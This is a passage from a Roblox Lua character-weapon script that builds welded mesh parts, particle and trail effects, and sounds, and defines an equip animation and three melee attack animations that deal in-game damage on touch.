3061 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3062 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
3063 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
3064 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
3065 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
3066 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3067 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
3068 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3069 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
3070 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3071 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
3072 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
3073 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
3074 | ||
3075 | p = game.Players.LocalPlayer | |
3076 | char = p.Character | |
3077 | torso = char.Torso | |
3078 | neck = char.Torso.Neck | |
3079 | hum = char.Humanoid | |
3080 | hum.MaxHealth = 1527500 | |
3081 | wait() | |
3082 | hum.Health =hum.MaxHealth | |
3083 | ||
3084 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
3085 | particleemitter.VelocitySpread = 180 | |
3086 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3087 | particleemitter.Speed = NumberRange.new(2) | |
3088 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3089 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3090 | particleemitter.Rate = 100 | |
3091 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3092 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3093 | particleemitter.LightEmission = 0.8 | |
3094 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3095 | ||
3096 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
3097 | particleemitter.VelocitySpread = 180 | |
3098 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3099 | particleemitter.Speed = NumberRange.new(2) | |
3100 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
3101 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3102 | particleemitter.Rate = 100 | |
3103 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3104 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3105 | particleemitter.LightEmission = 0.8 | |
3106 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3107 | ||
3108 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
3109 | particleemitter.VelocitySpread = 180 | |
3110 | particleemitter.Lifetime = NumberRange.new(0.1) | |
3111 | particleemitter.Speed = NumberRange.new(2) | |
3112 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
3113 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
3114 | particleemitter.Rate = 100 | |
3115 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
3116 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
3117 | particleemitter.LightEmission = 0.8 | |
3118 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
3119 | ||
3120 | particleemitter.Enabled = true | |
3121 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
3122 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
3123 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
3124 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
3125 | for i=0,1,0.005 do | |
3126 | swait() | |
3127 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3128 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3129 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3130 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3131 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3132 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3133 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3134 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3135 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3136 | end | |
3137 | for i=0,1,0.04 do | |
3138 | swait() | |
3139 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3140 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3141 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3142 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3143 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3144 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3145 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3146 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3147 | end | |
3148 | attack = false | |
3149 | end | |
3150 | end | |
3151 | end) | |
3152 | ||
3153 | function MagicCircle(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay) | |
3154 | local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5)) | |
3155 | prt.Anchored=true | |
3156 | prt.CFrame=cframe | |
3157 | local msh=mesh("SpecialMesh",prt,"Sphere","",vt(0,0,0),vt(x1,y1,z1)) | |
3158 | game:GetService("Debris"):AddItem(prt,2) | |
3159 | coroutine.resume(coroutine.create(function(Part,Mesh) | |
3160 | for i=0,1,delay do | |
3161 | wait() | |
3162 | Part.CFrame=Part.CFrame | |
3163 | Part.Transparency=i | |
3164 | Mesh.Scale=Mesh.Scale+vt(x3,y3,z3) | |
3165 | end | |
3166 | Part.Parent=nil | |
3167 | end),prt,msh) | |
3168 | end | |
3169 | ||
3170 | TrailDeb = false | |
3171 | ||
3172 | function equipanim() | |
3173 | attack=true | |
3174 | Humanoid.WalkSpeed = 0 | |
3175 | if TrailDeb == false then | |
3176 | TrailDeb = true | |
3177 | end | |
3178 | ||
3179 | ||
3180 | coroutine.wrap(function() | |
3181 | local Old = handle.CFrame.p | |
3182 | while wait()do | |
3183 | if not TrailDeb then break end | |
3184 | local New = handle.CFrame.p | |
3185 | local Mag =(Old -New).magnitude | |
3186 | local Dis =(Old +New)/2 | |
3187 | local Trail = Instance.new("Part",Character) | |
3188 | Trail.Material = "Neon" | |
3189 | Trail.Anchored = true | |
3190 | Trail.CanCollide = false | |
3191 | Trail.BrickColor = TorsoColor | |
3192 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3193 | Trail.TopSurface = 0 | |
3194 | Trail.BottomSurface = 0 | |
3195 | Trail.formFactor = "Custom" | |
3196 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3197 | local ms = Instance.new("BlockMesh",Trail) | |
3198 | ms.Scale = Vector3.new(1,1,1) | |
3199 | local TM = Instance.new("CylinderMesh",Trail) | |
3200 | TM.Scale = Vector3.new(1,1,1) | |
3201 | Old = New | |
3202 | coroutine.wrap(function() | |
3203 | for i = 1,0,-0.1 do | |
3204 | wait() | |
3205 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3206 | end | |
3207 | Trail:remove() | |
3208 | end)() | |
3209 | coroutine.wrap(function() | |
3210 | for i = 1,10 do | |
3211 | wait() | |
3212 | Trail.Transparency = Trail.Transparency +0.1 | |
3213 | end end)()end end)() | |
3214 | coroutine.wrap(function() | |
3215 | local Old = Handle.CFrame.p | |
3216 | while wait()do | |
3217 | if not TrailDeb then break end | |
3218 | local New = Handle.CFrame.p | |
3219 | local Mag =(Old -New).magnitude | |
3220 | local Dis =(Old +New)/2 | |
3221 | local Trail = Instance.new("Part",Character) | |
3222 | Trail.Material = "Neon" | |
3223 | Trail.Anchored = true | |
3224 | Trail.CanCollide = false | |
3225 | Trail.BrickColor = TorsoColor | |
3226 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3227 | Trail.TopSurface = 0 | |
3228 | Trail.BottomSurface = 0 | |
3229 | Trail.formFactor = "Custom" | |
3230 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3231 | local ms = Instance.new("BlockMesh",Trail) | |
3232 | ms.Scale = Vector3.new(1,1,1) | |
3233 | local TM = Instance.new("CylinderMesh",Trail) | |
3234 | TM.Scale = Vector3.new(1,1,1) | |
3235 | Old = New | |
3236 | coroutine.wrap(function() | |
3237 | for i = 1,0,-0.1 do | |
3238 | wait() | |
3239 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3240 | end | |
3241 | Trail:remove() | |
3242 | end)() | |
3243 | coroutine.wrap(function() | |
3244 | for i = 1,10 do | |
3245 | wait() | |
3246 | Trail.Transparency = Trail.Transparency +0.1 | |
3247 | end end)()end end)() | |
3248 | coroutine.wrap(function() | |
3249 | local Old = Handle2.CFrame.p | |
3250 | while wait()do | |
3251 | if not TrailDeb then break end | |
3252 | local New = Handle2.CFrame.p | |
3253 | local Mag =(Old -New).magnitude | |
3254 | local Dis =(Old +New)/2 | |
3255 | local Trail = Instance.new("Part",Character) | |
3256 | Trail.Material = "Neon" | |
3257 | Trail.Anchored = true | |
3258 | Trail.CanCollide = false | |
3259 | Trail.BrickColor = TorsoColor | |
3260 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3261 | Trail.TopSurface = 0 | |
3262 | Trail.BottomSurface = 0 | |
3263 | Trail.formFactor = "Custom" | |
3264 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3265 | local ms = Instance.new("BlockMesh",Trail) | |
3266 | ms.Scale = Vector3.new(1,1,1) | |
3267 | local TM = Instance.new("CylinderMesh",Trail) | |
3268 | TM.Scale = Vector3.new(1,1,1) | |
3269 | Old = New | |
3270 | coroutine.wrap(function() | |
3271 | for i = 1,0,-0.1 do | |
3272 | wait() | |
3273 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3274 | end | |
3275 | Trail:remove() | |
3276 | end)() | |
3277 | coroutine.wrap(function() | |
3278 | for i = 1,10 do | |
3279 | wait() | |
3280 | Trail.Transparency = Trail.Transparency +0.1 | |
3281 | end end)()end end)() | |
3282 | so("http://www.roblox.com/asset/?id=200632370",Torso,1,0.5) | |
3283 | for i=0,1,0.005 do | |
3284 | swait() | |
3285 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,100-100*i)*euler(0,0,0+90*i),.2) | |
3286 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3287 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3288 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3289 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3290 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3291 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3292 | end | |
3293 | for i=0,1,0.005 do | |
3294 | swait() | |
3295 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,2.5)*euler(0,0,0+90*i),.2) | |
3296 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0.1,0,0),.2) | |
3297 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3298 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3299 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.05) | |
3300 | LW.C0=clerp(LW.C0,cf(-1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(40)),.2) | |
3301 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*angles(math.rad(90),math.rad(0),math.rad(-40)),.2) | |
3302 | end | |
3303 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3304 | so("http://www.roblox.com/asset/?id=150829983",Character,1,0.9) | |
3305 | for i=0,1,0.005 do | |
3306 | swait() | |
3307 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
3308 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
3309 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
3310 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
3311 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
3312 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3313 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3314 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
3315 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
3316 | end | |
3317 | for i=0,1,0.04 do | |
3318 | swait() | |
3319 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
3320 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3321 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3322 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
3323 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
3324 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
3325 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3326 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
3327 | end | |
3328 | --dmgstop() | |
3329 | attack=false | |
3330 | Humanoid.WalkSpeed = 12 | |
3331 | if TrailDeb == true then | |
3332 | TrailDeb = false | |
3333 | end | |
3334 | end | |
3335 | ||
3336 | function attackone() | |
3337 | attack=true | |
3338 | if TrailDeb == false then | |
3339 | TrailDeb = true | |
3340 | end | |
3341 | ||
3342 | ||
3343 | coroutine.wrap(function() | |
3344 | local Old = Handle.CFrame.p | |
3345 | while wait()do | |
3346 | if not TrailDeb then break end | |
3347 | local New = Handle.CFrame.p | |
3348 | local Mag =(Old -New).magnitude | |
3349 | local Dis =(Old +New)/2 | |
3350 | local Trail = Instance.new("Part",Character) | |
3351 | Trail.Material = "Neon" | |
3352 | Trail.Anchored = true | |
3353 | Trail.CanCollide = false | |
3354 | Trail.BrickColor = TorsoColor | |
3355 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3356 | Trail.TopSurface = 0 | |
3357 | Trail.BottomSurface = 0 | |
3358 | Trail.formFactor = "Custom" | |
3359 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3360 | local ms = Instance.new("BlockMesh",Trail) | |
3361 | ms.Scale = Vector3.new(1,1,1) | |
3362 | local TM = Instance.new("CylinderMesh",Trail) | |
3363 | TM.Scale = Vector3.new(1,1,1) | |
3364 | Old = New | |
3365 | coroutine.wrap(function() | |
3366 | for i = 1,0,-0.1 do | |
3367 | wait() | |
3368 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3369 | end | |
3370 | Trail:remove() | |
3371 | end)() | |
3372 | coroutine.wrap(function() | |
3373 | for i = 1,10 do | |
3374 | wait() | |
3375 | Trail.Transparency = Trail.Transparency +0.1 | |
3376 | end end)()end end)() | |
3377 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3378 | for i=0,1,0.08 do | |
3379 | swait() | |
3380 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(-5),math.rad(0),math.rad(-10)),.3) | |
3381 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(5),math.rad(0),math.rad(10)),.3) | |
3382 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3383 | Handleweld.C0=clerp(Handleweld.C0,cf(-3,1,2)*angles(math.rad(90),math.rad(0),math.rad(0)),.2) | |
3384 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3385 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(.5,1.8,1.5),.3) | |
3386 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3387 | end | |
3388 | so("http://www.roblox.com/asset/?id=231917758",Handle,1,.9) | |
3389 | so("http://www.roblox.com/asset/?id=159972643",Torso,1,1) | |
3390 | for i=0,1,0.1 do | |
3391 | swait() | |
3392 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(20)),.3) | |
3393 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3394 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3395 | Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-8)*angles(math.rad(-85),math.rad(0),math.rad(0)),.2) | |
3396 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3397 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*euler(80,1.8,1.5),.3) | |
3398 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(2),math.rad(25),math.rad(-15)),.3) | |
3399 | end | |
3400 | --dmgstop() | |
3401 | attack=false | |
3402 | con1:disconnect() | |
3403 | if TrailDeb == true then | |
3404 | TrailDeb = false | |
3405 | end | |
3406 | end | |
3407 | ||
3408 | function attacktwo() | |
3409 | attack=true | |
3410 | if TrailDeb == false then | |
3411 | TrailDeb = true | |
3412 | end | |
3413 | ||
3414 | ||
3415 | coroutine.wrap(function() | |
3416 | local Old = Handle2.CFrame.p | |
3417 | while wait()do | |
3418 | if not TrailDeb then break end | |
3419 | local New = Handle2.CFrame.p | |
3420 | local Mag =(Old -New).magnitude | |
3421 | local Dis =(Old +New)/2 | |
3422 | local Trail = Instance.new("Part",Character) | |
3423 | Trail.Material = "Neon" | |
3424 | Trail.Anchored = true | |
3425 | Trail.CanCollide = false | |
3426 | Trail.BrickColor = TorsoColor | |
3427 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3428 | Trail.TopSurface = 0 | |
3429 | Trail.BottomSurface = 0 | |
3430 | Trail.formFactor = "Custom" | |
3431 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3432 | local ms = Instance.new("BlockMesh",Trail) | |
3433 | ms.Scale = Vector3.new(1,1,1) | |
3434 | local TM = Instance.new("CylinderMesh",Trail) | |
3435 | TM.Scale = Vector3.new(1,1,1) | |
3436 | Old = New | |
3437 | coroutine.wrap(function() | |
3438 | for i = 1,0,-0.1 do | |
3439 | wait() | |
3440 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3441 | end | |
3442 | Trail:remove() | |
3443 | end)() | |
3444 | coroutine.wrap(function() | |
3445 | for i = 1,10 do | |
3446 | wait() | |
3447 | Trail.Transparency = Trail.Transparency +0.1 | |
3448 | end end)()end end)() | |
3449 | con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Normal",RootPart,.2,1) end) | |
3450 | for i=0,1,0.08 do | |
3451 | swait() | |
3452 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3453 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3454 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3455 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(0),math.rad(20)),.2) | |
3456 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3457 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3) | |
3458 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3459 | end | |
3460 | so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) | |
3461 | so("http://www.roblox.com/asset/?id=159972627",Torso,1,1) | |
3462 | for i=0,1,0.1 do | |
3463 | swait() | |
3464 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
3465 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(20)),.3) | |
3466 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3467 | Handle2weld.C0=clerp(Handle2weld.C0,cf(10,1,-5)*angles(math.rad(0),math.rad(-80),math.rad(20)),.2) | |
3468 | Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3469 | LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3) | |
3470 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-2),math.rad(-25),math.rad(15)),.3) | |
3471 | end | |
3472 | --dmgstop() | |
3473 | attack=false | |
3474 | con1:disconnect() | |
3475 | if TrailDeb == true then | |
3476 | TrailDeb = false | |
3477 | end | |
3478 | end | |
3479 | ||
3480 | function attackthree() | |
3481 | attack=true | |
3482 | if TrailDeb == false then | |
3483 | TrailDeb = true | |
3484 | end | |
3485 | ||
3486 | ||
3487 | coroutine.wrap(function() | |
3488 | local Old = Handle.CFrame.p | |
3489 | while wait()do | |
3490 | if not TrailDeb then break end | |
3491 | local New = Handle.CFrame.p | |
3492 | local Mag =(Old -New).magnitude | |
3493 | local Dis =(Old +New)/2 | |
3494 | local Trail = Instance.new("Part",Character) | |
3495 | Trail.Material = "Neon" | |
3496 | Trail.Anchored = true | |
3497 | Trail.CanCollide = false | |
3498 | Trail.BrickColor = TorsoColor | |
3499 | Trail.Size = Vector3.new(0.2,Mag,0.2) | |
3500 | Trail.TopSurface = 0 | |
3501 | Trail.BottomSurface = 0 | |
3502 | Trail.formFactor = "Custom" | |
3503 | Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0) | |
3504 | local ms = Instance.new("BlockMesh",Trail) | |
3505 | ms.Scale = Vector3.new(1,1,1) | |
3506 | local TM = Instance.new("CylinderMesh",Trail) | |
3507 | TM.Scale = Vector3.new(1,1,1) | |
3508 | Old = New | |
3509 | coroutine.wrap(function() | |
3510 | for i = 1,0,-0.1 do | |
3511 | wait() | |
3512 | TM.Scale = TM.Scale * Vector3.new(i,1,i) | |
3513 | end | |
3514 | Trail:remove() | |
3515 | end)() | |
3516 | coroutine.wrap(function() | |
3517 | for i = 1,10 do | |
3518 | wait() | |
3519 | Trail.Transparency = Trail.Transparency +0.1 | |
3520 | end end)()end end)() | |
3521 | con1=Gear.Touched:connect(function(hit) Damagefunc(hit,10,20,math.random(20,40),"Up",RootPart,.2,1) end) | |
3522 | for i=0,1,0.08 do | |
3523 | swait() | |
3524 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(10),math.rad(0),math.rad(0)),.3) | |
3525 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
3526 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3527 | Handleweld.C0=clerp(Handleweld.C0,cf(3,7,-1)*angles(math.rad(20),math.rad(0),math.rad(-120)),.2) | |
3528 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
3529 | RW.C0=clerp(RW.C0,cf(1,0.5,-0.5)*euler(0.5,-1.3,-0.1),.3) | |
